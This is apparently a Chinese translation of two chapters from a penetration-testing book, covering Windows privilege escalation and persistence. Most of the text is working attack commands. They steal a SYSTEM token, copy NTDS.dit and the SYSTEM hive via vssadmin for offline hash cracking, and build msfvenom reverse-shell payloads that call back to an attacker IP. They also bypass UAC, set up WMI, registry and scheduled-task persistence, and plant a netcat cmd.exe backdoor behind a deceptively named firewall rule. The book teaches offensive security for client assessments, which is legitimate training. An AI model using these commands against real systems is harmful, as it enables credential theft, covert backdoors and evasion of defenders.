通过访问令牌窃取将你的代理提升为 SYSTEM
就在上周,我和家人去县集市玩。我的女儿第一次坐过山车,我妻子看了猪赛跑,我们一直喝着冰沙柠檬水,直到糖分过量。当你第一次到达时,你会去售票处,购买两种选项之一——一本单独的票册,可以像现金一样用来进入游乐设施,或者是一个腕带,可以让你无限制地进入所有设施。Windows 中的访问令牌类似(除了猪赛跑部分)。当用户成功通过身份验证后,系统会生成一个访问令牌。每个代表该用户执行的进程都会有这个令牌的副本,而这些令牌用于验证拥有它的进程或线程的安全上下文。这样,你就不需要多个不同的进程在同一用户下运行,也不需要每次都进行密码认证。
然而,假设某人在县博览会上偷走了我的腕带。这个人就能以我的权限在旋转木马上骑乘,即使腕带是通过合法的现金交易获得的。实际上,有一些方法可以从以 SYSTEM
安全上下文运行的进程中盗取令牌,从而完全控制目标。现在我们已经在目标上运行了代理,接下来让我们指派它执行令牌盗窃任务。首先,我们需要知道当前有哪些进程在运行。记住,我们可以使用 tasklist
来查看正在运行的进程,并捕获每个进程的 PID。
指派 Empire 代理执行 shell tasklist
:
图 16.15 – 我们 PowerShell Empire 会话中的 tasklist
在确定了要盗取的进程 ID 后,指派代理执行 steal_token
:
图 16.16 – SYSTEM 令牌已被盗!
现在,让我们来看看如何攻陷已被攻破的域控制器。我们再次将通过利用 Windows 管理工具来“活用土地”。
在阴影中舞蹈 – 使用 vssadmin 抢夺域控制器
所以,你已经在客户环境中取得了域管理员权限。恭喜你!接下来怎么办?
在关于从初步入侵向前推进以及提升权限的章节中,我们需要一些跳出常规的思维方式。我们已经覆盖了许多技术内容,但不要忘记整体思路——你是在为客户进行评估,你的成果价值不仅仅是一堆带有绿色文本的截图。当你和黑客朋友们一起喝酒,告诉他们你成功获得了域管理员权限时,他们明白这意味着什么。但当你向客户的高层管理人员汇报你的发现时呢?我曾有无数次的高层直接问我,“那又怎么样?”用力晃动他们的肩膀并大声喊出“我通过监听他们的打印机获得了域管理员权限”是不会说服任何人的。现在,让我来对比一下我和客户的会谈,我告诉他们,我已经在一个电子表格中获得了他们 3,000 名员工中 68% 的密码,而且每小时还在持续增加。相信我,这样会引起他们的注意。
在从环境中窃取密码时,有不同的方式可以做到,而且它们各自具有不同的含义。例如,在办公室四处寻找写下来的密码出奇的有效。这通常发生在进行物理评估时,但我们曾经偶尔在审计过程中这样做,而不需要偷偷摸摸。这种事情可能会让你出现在监控摄像头的录像中。我们也讨论了一些技术方法——基本上,任何涉及有效载荷的操作都可能被杀毒软件检测到。只要你能利用内建的机制来完成任务,你就更不容易触发警报。我们从 PowerShell 中学到了这一点。还有另一个管理员工具,根据环境的不同,它可能作为备份程序的一部分被允许使用:vssadmin
,即卷影像副本服务管理工具。
影像副本也称为快照;它们是复制品,是受保护文件、共享和文件夹的时间点备份。复制品由 数据保护管理器(DPM) 服务器创建。在复制品首次创建后,它会定期通过增量更新受保护的数据。影像副本是数据的完整副本,基于最后一次同步。我们在这里关心的是它,因为在我曾经工作的每个环境中,Windows 系统都包含在复制品中,特别是其中有两个非常重要的小文件:NTDS.dit
和 SYSTEM
注册表 hive。NTDS.dit
是 Active Directory 的实际数据库文件,因此它只存在于域控制器上。SYSTEM
hive 是 Windows 注册表的一个关键组件,包含大量配置数据和硬件信息。然而,我们需要的是用来加密密码数据的 SYSKEY
密钥。
当你准备好进行探索时,启动 vssadmin
在你的域控制器上并查看选项:
图 16.17 – vssadmin 帮助屏幕
让我们深入了解如何创建影像副本并从中窃取内容。
从影像副本中提取 NTDS 数据库和 SYSTEM hive
最好先使用 vssadmin List Shadows
列出任何现有的影像副本。有时,影像副本会定期创建,拥有一个最近的快照意味着你可以直接跳到复制数据库和 hive 的步骤。这会稍微减少被发现的风险。假设没有影像副本存在(或者它们很旧),以 管理员 身份运行 CMD
提示符并为 C: 驱动器创建影像副本:
vssadmin Create Shadow /For=C:
你将看到以下确认信息:
图 16.18 – 成功的影像副本
记下影像副本卷的名称,因为在复制操作过程中需要引用它。你将使用传统的复制命令,只需将通常称作C:
的部分替换为\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
。NTDS 数据库存储在 Windows 的 NTDS 目录下,SYSTEM
文件则位于system32\config
文件夹内。你可以将文件放置在任何位置;这是一个临时位置,用于准备窃取它们。不过,你需要考虑如何将文件从域控制器中取出。例如,如果有一个共享文件夹可以通过网络访问,那么将文件放在那里会是一个理想的选择:
复制
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit
c:\复制\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\SYSTEM c:\
再次确认:
图 16.19 – 从影像副本中复制文件
现在,我们已经得到了“战利品”——但它们仍然保存在目标设备上。我们如何将它们带回家呢?让我们看一下其中一种方法。
通过 cifs 在网络中窃取数据
我本可以直接告诉你选择自己喜欢的方式将文件从域控制器中拉出来。既然如此,我就告诉你:用你喜欢的方法去获取“战利品”。有时候,你可以通过 USB 闪存驱动器将文件偷偷带出。目前,让我们回顾一下如何将你的 Kali 盒子挂载到共享文件夹,因为这不仅是恢复活动目录信息的一种常见方式,在 Windows 环境中,它对许多任务都非常有用。首先,我们需要安装cifs-utils
。幸运的是,它已经包含在软件仓库中:
apt-get install cifs-utils
安装后,使用mount -t cifs
来指定共享的位置。请注意,我没有将密码作为参数传递,因为那样会暴露密码的明文。在攻击过程中可能不重要,但你会希望在报告截图中小心处理。省略密码会导致系统提示你输入:
图 16.20 – 在 Kali 中本地挂载的目标 C:驱动器
就这样,没有任何爆炸或令人兴奋的事情,只是在我的系统上创建了一个新的文件夹,可以像使用任何本地文件夹一样使用。我将使用cp
从域控制器获取文件。就这样,我们将活动目录数据库带到了我们的 Kali 攻击盒子中,域控制器上唯一留下的就是管理员预期存在的影像副本。但等等——如果没有影像副本,我们必须创建一个呢?那我们就留下了一个不被预期的影像副本。vssadmin Delete Shadows
是清理痕迹的好帮手。我建议在从影像副本中提取所需文件后立即使用它。
使用 libesedb 和 ntdsxtract 提取密码哈希
现在,言归正传,真正有趣的部分来了。当我刚开始使用这种技术时,过程稍显繁琐;但如今,你只需要两个命令,就能将所有内容提取并格式化为 John 所需的格式。不过,有一个警告:我们需要为 Kali 做好准备,以正确构建libesedb
套件。我们可以通过如autoconf
等工具自动完成所有这些,它是一个神奇的工具,能够生成自动配置软件包的脚本。关于我们即将安装的内容的详细讨论超出了本讨论的范围,因此我建议你查阅 man 页面以便了解更多。
下面是逐行命令。每一条命令执行完后再继续。可能会花几分钟时间,趁机去补充一下咖啡:
git clone https://github.com/libyal/libesedb
git clone https://github.com/csababarta/ntdsxtract
cd libesedb
apt-get install git autoconf automake autopoint libtool pkg-config
./synclibs.sh
./autogen.sh
chmod +x configure
./configure
make
make install
ldconfig
如果你看到这个命令并在想,*不是*git
已经安装了吗?,那么答案是,已经安装了,但是这个命令会更新它。请记住,你需要pip
来支持 Python 2,如果还没有安装,可以使用apt-get install python-pip
来安装——然后,运行python -m pip install pycrypto
来获取ntdsxtract
所需的低级加密模块。
一旦一切配置完成并准备好,你应该能直接运行esedbexport
。我们将告诉这个工具导出 NTDS 数据库中的所有表。特别有两个表是我们进行哈希提取所需要的:
esedbexport -m tables ntds.dit
你会看到以下输出:
图 16.21 – 从我们捕获的 NTDS.dit 文件中导出表
现在,真正的关键时刻到了。我们可以将数据表和链接表传递给dsusers
Python 脚本,同时提供SYSTEM
hive 的位置(它包含SYSKEY
密钥),并让脚本将哈希值以易于破解的格式优雅地格式化:
cd ntdsxtract
python dsusers.py /root/ntds/ntds.dit.export/datatable /root/ntds/ntds.dit.export/link_table /root/ntds --syshive /root/ntds/SYSTEM --passwordhashes --lmoutfile /root/ntds/lm.txt --ntoutfile /root/ntds/nt.txt --pwdformat ophc
我鼓励你研究实际数据库中的内容,了解诸如密码历史等信息。这些信息帮助我最大限度地提高了我的发现对客户的影响。为什么我要这么做呢?因为有些组织采取较为严格的密码更换政策,例如 45 天,会有时尝试争辩说我的哈希值都不合法。有时候,他们确实是对的。查看密码历史记录;那些在评估前一天刚登录的用户,可能仍在使用相同的密码:
图 16.22 – 提取的域记录
John 知道如何处理格式化的文本文件。正如你所见,我在大约 30 秒内恢复了我的一个密码,当我执行了john --fork=2 nt.txt
命令时:
图 16.23 – John 成功恢复密码
一些环境会生成数千个哈希值。即使是运行在普通 CPU 上的 John,也能非常快速地破解那些简单的密码。另一个值得考虑的离线研究领域是 GPU 破解,它利用图形处理器的 FLOPS 来以极快的速度破解密码,尤其是在较短的评估中,这可能带来巨大的差异。
总结
在本章中,我们深入了解了一些基本的特权提升技术。我们回顾了 Metasploit 是如何自动完成这一过程的,也探讨了使用本地漏洞实现这一目标的可能性。我们快速回顾了与 Armitage 的后期阶段,并重新审视了 pivoting(跳跃)。我们回顾了 PowerShell Empire,并通过远程 WMI 命令创建了隐秘的代理。接着,我们利用 Empire 模块窃取访问令牌,并复习了其背后的基本概念。最后,我们探索了通过利用内建备份机制从域控制器提取哈希值的技术。总体来说,我们展示了几种利用 Windows 内建功能进行的攻击,增加了我们的隐蔽性,并为客户提供了有用的配置建议。
在最后一章,我们将讨论持久性——那些允许我们在重启和重新配置后保持访问权限的技术。通过建立持久访问的基础,我们可以为自己争取更多时间收集尽可能多的信息,从而提升对客户的评估价值。
问题
回答以下问题以测试你对本章内容的理解:
-
命名管道在类 Unix 系统中也被称为 _____。
-
一个 ASCII 字符总是 8 位长,而一个 WCHAR 字符总是 16 位长。(正确 | 错误)
-
WMI 代表什么?
-
IPC 代表什么?
-
除了返回的错误代码,成功的远程 WMI 进程调用还将返回 _____,你可以利用它来验证你的代理上下文。
-
Shadow 副本是哪些内容的副本?
-
提取 NTDS 数据库中的哈希值时,
SYSTEM
注册表项中包含的关键信息是什么?
深入阅读
想要了解更多关于本章内容的资料,请查阅以下资源:
-
命名管道文档:
docs.microsoft.com/en-us/windows/desktop/ipc/named-pipes
-
WMI 参考文档:
docs.microsoft.com/en-us/windows/desktop/wmisdk/wmi-reference
第十七章:保持访问
我们已经在这些章节中一起走过了很长的路。现在我们来到这里,提出剩下的问题:在你强行进入并证明客户的防御存在漏洞之后——如何保持我的访问权限? 这是一个有趣的问题,因为它常常被忽视,尽管它非常重要。当很多人谈论黑客攻击时,他们想到的是如何突破防线的兴奋感。黑客攻击是解决问题的过程,有时我们容易忘记,保持访问权限本身也是一个问题。特别是在渗透测试的背景下,由于我们通常有紧迫的时间表,持久化往往会被视为理所当然。有时,看似有一个竞赛要赶紧获得域管理员或 root 权限,然后就停下来撰写报告。遗憾的是,评估往往就是这样安排的,尤其是在当今这个高级持续性威胁(APT)的时代。
记住你在评估中的一个广泛目标:从低调到相对显眼地升级,并注意你被捕获的时机。获得域管理员权限时没人注意到,和当当局破门而入时获得域管理员权限,结果是完全不同的。这种心态应延续到持久化阶段。
本章我们将涵盖以下内容:
-
使用 Metasploit 和 PowerShell Empire 实现持久化
-
快速简陋的持久化 netcat 隧道
-
使用 PowerSploit 实现持久化访问
技术要求
本章的前提条件如下:
-
Kali Linux
-
一个 Windows 10 或 7 虚拟机
使用 Metasploit 和 PowerShell Empire 实现持久化
我们在本书的多个章节中讨论了生成有效载荷。我们用msfvenom
生成了不同格式和自定义选项的有效载荷,也探讨了如何使用 Shellter 对合法可执行文件进行隐蔽修补,进行高级攻击。现在,我们通过利用 Metasploit 的持久化模块,来完成这个讨论。
为 Metasploit 持久化模块创建有效载荷
为了演示,我们将生成一个快速简陋的反向 Meterpreter 可执行文件。然而,请注意,当我们配置持久化模块时,可以使用任何我们想要的可执行文件。
我们将通过以下命令保持简单明了:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.133 LPORT=10000 -f exe > persist.exe
当然,请替换为你自己的 IP 地址和本地端口:
图 17.1 – 使用 msfvenom 生成有效载荷
有一点要提醒大家——这不是你通常用来立即达成目标的有效载荷。这不是一个一旦完成任务就丢弃的有效载荷。这个恶意程序将持久存在,并让目标有更多时间发现它。细致的研究和规划将是你在这方面的好帮手。
配置 Metasploit 持久化模块并发射
旧版本的 persistence_exe
有许多标志,你仍然可以那样使用它;然而,在写作时,这种用法已经被弃用,所以我选择将其作为 post
模块使用。我现在喜欢这种方式,因为它简化了整个过程。你只需通过 set REXENAME
定义可执行文件在目标上调用的名称,使用 set REXEPATH
指定可执行文件在你的系统上的位置,并通过 set SESSION
设置此攻击将在哪个 Meterpreter 会话中进行。
当你执行 run
时,控制台会准确告诉你它正在做什么:
图 17.2 – 在 Metasploit 中运行持久化模块
让我们快速回顾一下这些步骤:
-
Metasploit 读取你的负载并将其写入目标。
-
Metasploit 执行负载并返回进程 ID 以供即时使用。
-
Metasploit 修改目标的注册表,使得每次登录时都会执行。(
HKCU
表示HKEY_CURRENT_USER
。) -
为了完成这些任务而创建的资源文件已经被清理。
现在,我们只需坐着等待我们的远程代理进行签到。让我们准备好处理程序。
验证你的持久化 Meterpreter 后门
尽管我们当然可以验证注册表更改是否发生,并且负载是否在当前会话中运行,但真正的测试是故意通过重启断开连接,并等待目标主机向我们的监听器发送信息。确保你配置了正确的端口号。当你准备好时,继续重启你的目标:
图 17.3 – 我们的持久化负载发送新会话
不久后,我看到在目标机器上以受影响用户账户登录时,连接会自动出现。
记住,持久化负载和监听攻击者的配置至关重要。例如,如果攻击者使用的是 DHCP 分配的 IP 地址,那么该地址可能会发生变化,导致负载无法再与你联系。考虑使用静态 IP 地址,这样你可以根据需要保持持久性,并选择那些不太可能与其他连接冲突的端口号。
不甘示弱——PowerShell Empire 中的持久化
如果你还没有发现,PowerShell Empire 是一个非常强大的框架。由于隐匿性对于持久性更为重要,使用 PowerShell 执行负载使我们的工作变得稍微轻松一些;正如你能想象的,持久化 Empire 代理就像黄金一样宝贵。
如果你需要回顾如何让代理启动并运行,请返回到第九章,PowerShell 基础知识。在我们的示例中,我们已经设置好了监听器,执行了目标上的一个起始程序,并与SKD217BV
建立了代理连接:
图 17.4 – PowerShell Empire 中的新代理
尝试用它启动一些模块。你可能会看到一个错误信息,提示你代理需要处于提升的上下文中。奇怪——你已经是管理员了。我们在 Windows 10 系统上可能出现的情况是用户帐户控制(UAC)已启用。
提升我们的 Empire 代理的安全上下文
UAC 是 Windows 用户自 Vista 以来一直在处理的一个可爱的功能——它提示你确认系统中的某些更改。这种逻辑和有效性是另一个话题的讨论内容,但它相较于 Windows 的早期版本,确实是朝着正确的方向迈出了步伐——当管理员登录时,该账户所做的所有事情都有管理员权限。UAC 意味着默认情况下所有内容都以标准用户级别运行,包括我们的恶意脚本。幸运的是,Empire 并不为此烦恼。
准备bypassuac
模块,使用usemodule powershell/privesc/bypassuac
。如果你使用info
查看选项,你会注意到,唯一重要的设置是Agent
和Listener
。使用set Listener
和set Agent
命令,然后执行execute
命令:
图 17.5 – 我们的新特权代理汇报情况
哦,看看——你交了一个新朋友!向TANUBD6P
代理打个招呼吧。请注意,原始代理本身并没有被提升,它仍在运行中。相反,一个具有提升权限的新代理连接回我们。
为了隐秘地保持代理的持久性,创建一个 WMI 订阅
简而言之,Windows 管理工具(WMI)事件订阅方法将创建一个事件,该事件具有某些标准,最终会实现我们的有效载荷的持久性和无文件执行。对于这种特定的攻击方法,有不同的方式,但今天我们使用的是登录方法。这将创建一个 WMI 事件过滤器,该过滤器将在系统运行 4 分钟后执行有效载荷。在进入模块模式后,使用use powershell/persistence/elevated/wmi
,设置接收持久性任务的代理。确保选择提升权限的代理!它是用户名旁边有星号的代理:
图 17.6 – 配置我们的持久代理
请注意,我们正在配置set Agent
和set Listener
。现在,让我们验证持久代理是否准备好连接。
验证代理的持久性
就是这样。然而,代理没有告诉我们执行情况如何。我们怎么知道它是否有效?重启目标计算机,并返回 Empire 的主菜单。你的监听器仍然在忠实地等待新代理的连接。
请查看此实验演示中的时间戳。我们用于升级的前两个代理现在已经失效,最后一次出现在 12:00。关于 WMI 方法,我们需要记住的一点是,脚本在机器启动后的大约 5 分钟内不会运行:
图 17.7 – 持久(且提升权限的!)代理报告
哇!我们的新代理正在以SYSTEM
身份运行。我们现在完全控制了计算机,并且它将在重启后保持这种关系。永久的 WMI 订阅以SYSTEM
身份运行,这不仅使其成为一个有价值的持久化练习,而且也是提升权限的可靠方式。
黑客隧道 – 即时生成的 netcat 后门
我知道你在想什么。你在想 netcat 是否真的是一个好的选择。它不是一个加密隧道,也没有任何认证机制,而且nc.exe
常常被杀毒软件标记。不过,目前我们还是选择了 netcat,因为它是一个不错的演示工具,但实际上也有实际用途——我不确定是否有比这种方法更快的方式来在 Windows 目标系统中创建一个持久的后门。不过,你可以使用任何你喜欢的监听器来利用这种方法。让我们更仔细地看看我们手工制作的有效负载。
使用 Meterpreter 上传并配置持久化 netcat
我们已经看过使用SimpleHTTPServer
在局域网上轻松传输文件的方法。这次,我们假设已经建立了 Meterpreter 的立足点,并且我们正在设置一个更快的回调号码。
使用upload
命令将你的后门上传到目标。接下来的步骤是使其在每次启动时都能生效——将可执行文件添加到注册表中。请注意,双斜杠用于转义单个斜杠通常代表的换行符:
上传 /usr/share/windows-binaries/nc.exe C:\Windows\system32
reg setval -k HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -v nc -d ‘C:\Windows\system32\nc.exe -Ldp 9009 -e cmd.exe’
Meterpreter 应该报告密钥已成功设置:
图 17.8 – Meterpreter 上传和注册表设置用于持久化 netcat
请注意,启动时实际执行的命令是nc.exe -Ldp 9009 -e cmd.exe
。不要忘记端口号。不过,仍然有一步需要完成。
远程调整 Windows 防火墙以允许入站的 netcat 连接
现在,我知道你心中的黑客在想,我们所做的不过是确保后门在启动时加载而已,可能我们回去时会撞上防火墙。确实,学生成了大师。我们可以使用 netsh
一行命令来处理这个问题。进入目标的 shell,发送以下命令:
netsh advfirewall firewall add rule name=“Software Updater” dir=in action=allow protocol=TCP localport=9009
让我们看看这个过程是怎样的:
图 17.9 – 从目标的 shell 修改防火墙
注意,我给这个规则起了个名字。这需要一点社会工程学技巧;你希望管理员在查看规则时,忽略诸如 software 和 updater 这样的词。当然,你也可以将规则命名为 You got haxxed bro。这由你决定。
netsh
命令会通过简单的 Ok
确认你添加的规则没问题。现在,像之前一样,我们来确认 netcat 后门是否会持久化。
验证持久化是否建立
这其实是最容易验证的事情。尝试在重启目标后联系你的后门:
图 17.10 – 重启后从我们的后门获取 shell
再次尝试使用不同的监听器。也许你可以通过 SSH 连接?或许你可以通过防火墙规则更精细地设置,只允许你的 IP 地址。希望你现在已经看到了其中的潜力。
讨论 Windows 目标上的持久化时,没有涉及 PowerSploit 就不完整。让我们来看看它。
使用 PowerSploit 维持访问
PowerSploit 框架是后期利用阶段的一个真正的宝藏。该框架包含了一系列 PowerShell 脚本,它们执行各种神奇的操作。PowerSploit 的完整探索留给你,亲爱的读者。现在,我们正在查看持久化模块。
首先,我们来了解一下模块的概念。模块本质上是 PowerShell 脚本的集合,这些脚本共同组成一个统一的主题或任务类型。你可以将工具聚集在一个文件夹中,然后将其放入模块路径中,按需导入这个组合。一个写得很好的模块能够与 PowerShell 的所有特点无缝集成。特别是,Get-Help
在这些脚本中也能正常工作。是的,你可以运行 Get-Help
来了解如何使用这些恶意脚本。我们来试试。
在 PowerShell 中安装持久化模块
在 Kali 的早期版本中,我们需要手动拉取最新的 PowerSploit。今天,它已经内置并且可以通过 apt
更新,所以你可以立即使用 powersploit
并启动 SimpleHTTPServer
,这样我们就可以将工具传送到我们的 Windows 10 机器,在那里我们将准备持久化脚本:
图 17.11 – 在 PowerSploit 文件夹内设置 HTTP 服务器
在 Windows 10 攻击机上运行浏览器,下载整个Persistence
文件夹。如果你是单独下载文件,只需确保它们最终被放入名为Persistence
的本地文件夹中:
图 17.12 – 从 Kali 攻击者处获取 PowerSploit 模块
现在,我们需要在 PowerShell 中安装持久化模块。我们所要做的就是将新获取的Persistence
文件夹移动到我们系统上的 PowerShell 模块路径中。启动 PowerShell,并用$Env:PSModulePath
显示PSModulePath
环境变量:
图 17.13 – 确认模块路径
只需像平常一样剪切并粘贴Persistence
文件夹到你的模块路径中。你应该能在这个位置看到其他已安装的模块。
放慢节奏。不要急着打开香槟。如果你使用的是刚安装好的 Windows 虚拟机作为攻击者,可能会为 PowerShell 设置了受限的执行策略。我们需要用Set-ExecutionPolicy -ExecutionPolicy Unrestricted
来打开它。然后,我们可以通过Import-Module Persistence
导入我们新的高级模块。你将会被提示授权成为一个恶意黑客。默认选项是不运行,所以请确保在命令提示符下输入R
。完成所有操作后,你可以像使用任何其他模块一样,启动Get-Help
cmdlet:
图 17.14 – 持久化模块帮助屏幕
看到这儿有三个脚本吗?它们一起协作构建一个单一的有效载荷。让我们开始构建我们自己的。
配置和执行 Meterpreter 持久化
现在,我们已经准备好构建要与世界分享的礼物。首先,我们需要理解这三个脚本是如何工作的。它们不是可以根据需要挑选的独立工具;它们是一个工具。要创建任何持久化脚本,你需要按特定的顺序运行这三个脚本:
-
New-UserPersistenceOption
和New-ElevatedPersistenceOption
必须首先执行。顺序无关紧要,只要它们在最后一个脚本Add-Persistence
之前执行。这两个脚本用于定义将进入最终产品的持久化细节。为什么是两个?因为你要告诉有效载荷如何处理作为标准用户或特权用户的情况。也许你想根据管理员是否运行它来配置这些设置。现在,我们就先将设置设为相同。 -
Add-Persistence
需要在前两个脚本中定义的配置。这些作为环境变量传递给Add-Persistence
,由你选择。
明白了吗?让我们深入了解。首先,我们需要一个有效载荷。幸运的是,任何旧的 PowerShell 脚本都可以很好地工作。也许你有一个喜欢的脚本,来自我们之前回顾的 PowerShell。也许你自己写过一个。现在,我们将使用超级有用的msfvenom
生成一个示例。它的格式选项之一就是 PowerShell!
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.131 LPORT=8008 -f psh > attack.ps1
我最后得到了一个 2.5 KB 的有效载荷——还不错:
图 17.15 – 准备我们的有效载荷并交付它
将那个脚本传输到你的脚本构建器系统上(我再次使用了SimpleHTTPServer
;我真是太喜欢它了)。不要把它带到目标上;我们还没有我们的持久性脚本。记住,如果你只有一台 Windows 主机,那么你的脚本构建器和目标是同一台系统。
现在,我们运行这三个脚本——两个选项脚本,其输出存储为环境变量,然后是持久性脚本,它将选项传入并定义有效载荷脚本:
$userop = New-UserPersistenceOption -ScheduledTask -Hourly
$suop = New-ElevatedPersistenceOption -ScheduledTask -Hourly
Add-Persistence -FilePath .\attack.ps1 -ElevatedPersistenceOption $suop -UserPersistenceOption $userop
查看持久性模块输出的脚本文件大小:
图 17.16 – 有效载荷已打包并准备就绪
运行ls
或dir
来验证它是否成功。你应该看到两个新的脚本——Persistence.ps1
和RemovePersistence.ps1
。后者是为了在你需要时清理你的烂摊子。这在渗透测试中非常重要,所以不要丢了那个文件!把Persistence.ps1
传到你的目标上。
和往常一样,下一步是等待我们的忠实包开始报告。让我们来看一下如何执行和验证它。
潜伏等待 – 验证持久性
在目标上执行Persistence.ps1
(如何完成这一步仅受你想象力的限制,小小的草蜢)。就这样。没有爆炸,没有五彩纸屑。那么,让我们看看幕后到底发生了什么。打开目标系统上的任务计划程序:
图 17.17 – 目标上的任务计划程序
在此系统上计划运行的任务中,请注意一个名为Updater
的小家伙。它设计为每小时触发一次 PowerShell 脚本。这里说下一个运行时间是 2:30。好吧,现在还不到这个时间,所以我将重启目标,去喝杯咖啡,放松一下,同时让 Meterpreter 监听它的“子民”的歌声。与此同时,让我们看看持久性脚本做了什么。
在我们在 PowerShell ISE 中打开Persistence.ps1
之前,让我先在启用了自动换行的记事本中展示该脚本。我已经标出正在持久化的实际有效载荷:
图 17.18 – 为任务调度打包的有效载荷
这是一个压缩的 Base64 流。现在,让我们在 ISE 中查看其余内容:
图 17.19 – 为学习和调整打开的有效载荷
这里的内容无法完全展示,因此我鼓励你仔细研究并理解其中的操作。例如,查看$Payload
声明——schtasks /Create /SC HOURLY /TN Updater
(依此类推)。这将帮助你了解脚本的工作原理,同时也为你提供了根据需要进行调整的机会。
摘要
在本章中,我们探索了在成功建立网络访问后,如何保持对目标系统的访问。这样我们就有更多时间收集信息,并可能加深入侵。我们了解到现代威胁是持久性的,因此作为渗透测试人员,将这些技巧纳入我们的技能库,能够增加评估对客户的价值。我们在解释如何使用更复杂的有效载荷与这些持久化工具时,生成了msfvenom
有效载荷。我们还探讨了 Metasploit 和 PowerShell Empire 的持久化能力,了解了通过 netcat 和 Meterpreter 快速轻松地构建持久化后门。最后,我们展示了 PowerSploit 框架的持久化模块,通过将脚本嵌入代码中,使有效载荷在目标上保持持久化。
如果你还清醒的话,恭喜你——你已经完成了我们的旅程!但正如我之前所说,我们只是刚刚涉足了这些清新的水域。如果你想深入探索,可以考虑注册Hack The Box
,这是互联网上顶级的黑客训练平台。你可以从初学者开始,逐步提升到高级水平,参与学院课程获取在线培训,并返回战场实践新技能。整个过程是游戏化的,因此既容易跟踪进度,又充满乐趣。
这非常适合练习、娱乐和培训,但如果你在寻找企业级的培训,并且希望通过真正具有挑战性的认证过程来增强简历,那还得是 Kali 的实际创造者。前往 Offensive Security 获取入门级和高级培训课程,还可以通过 Proving Grounds 试验新技能。
那些是两个很棒的资源,但最终的结论是,黑客的真正精神和推动力不是你能买到的东西——它是一种态度、一种生活方式,以及解决问题的方式,无论是在电脑上还是生活中的其他方面。促使你拿起这本书的动力就是你继续走这条路所需要的东西,所以培养它,并为一个真正充实的职业和爱好做好准备。
问题
回答以下问题以测试你对本章内容的掌握情况:
-
persistence_exe
模块通过在 _________ 中添加一个值来工作。 -
msfvenom
标志-f psh
是什么意思? -
PowerSploit 持久化模块脚本必须按以下顺序运行:1)
New-UserPersistenceOption
,2)New-ElevatedPersistenceOption
,3)Add-Persistence
– 对还是错? -
一个黑客在一个被攻陷的 Windows Server 2008 服务器上上传并持久化了 netcat。然后,他们运行此命令以允许他们的连接进入后门 –
netsh advfirewall firewall add rule name="WindowsUpdate" dir=out action=allow protocol=TCP localport=9009
。他们无法连接到后门。为什么? -
永久 WMI 订阅以 _____ 方式运行。
-
在 Metasploit 中,
.rc
文件是一个 _________。 -
使用
reg setval
时,HKEY_LOCAL_MACHINE
缩写为 ________。
进一步阅读
关于本章涉及的主题,查看以下资源获取更多信息:
-
一篇关于使用 WMI 订阅启动脚本的 TechNet 文章:
blogs.technet.microsoft.com/heyscriptingguy/2012/07/20/use-powershell-to-create-a-permanent-wmi-event-to-launch-a-vbscript/
-
PowerSploit GitHub 上关于脚本的详细信息:
github.com/PowerShellMafia/PowerSploit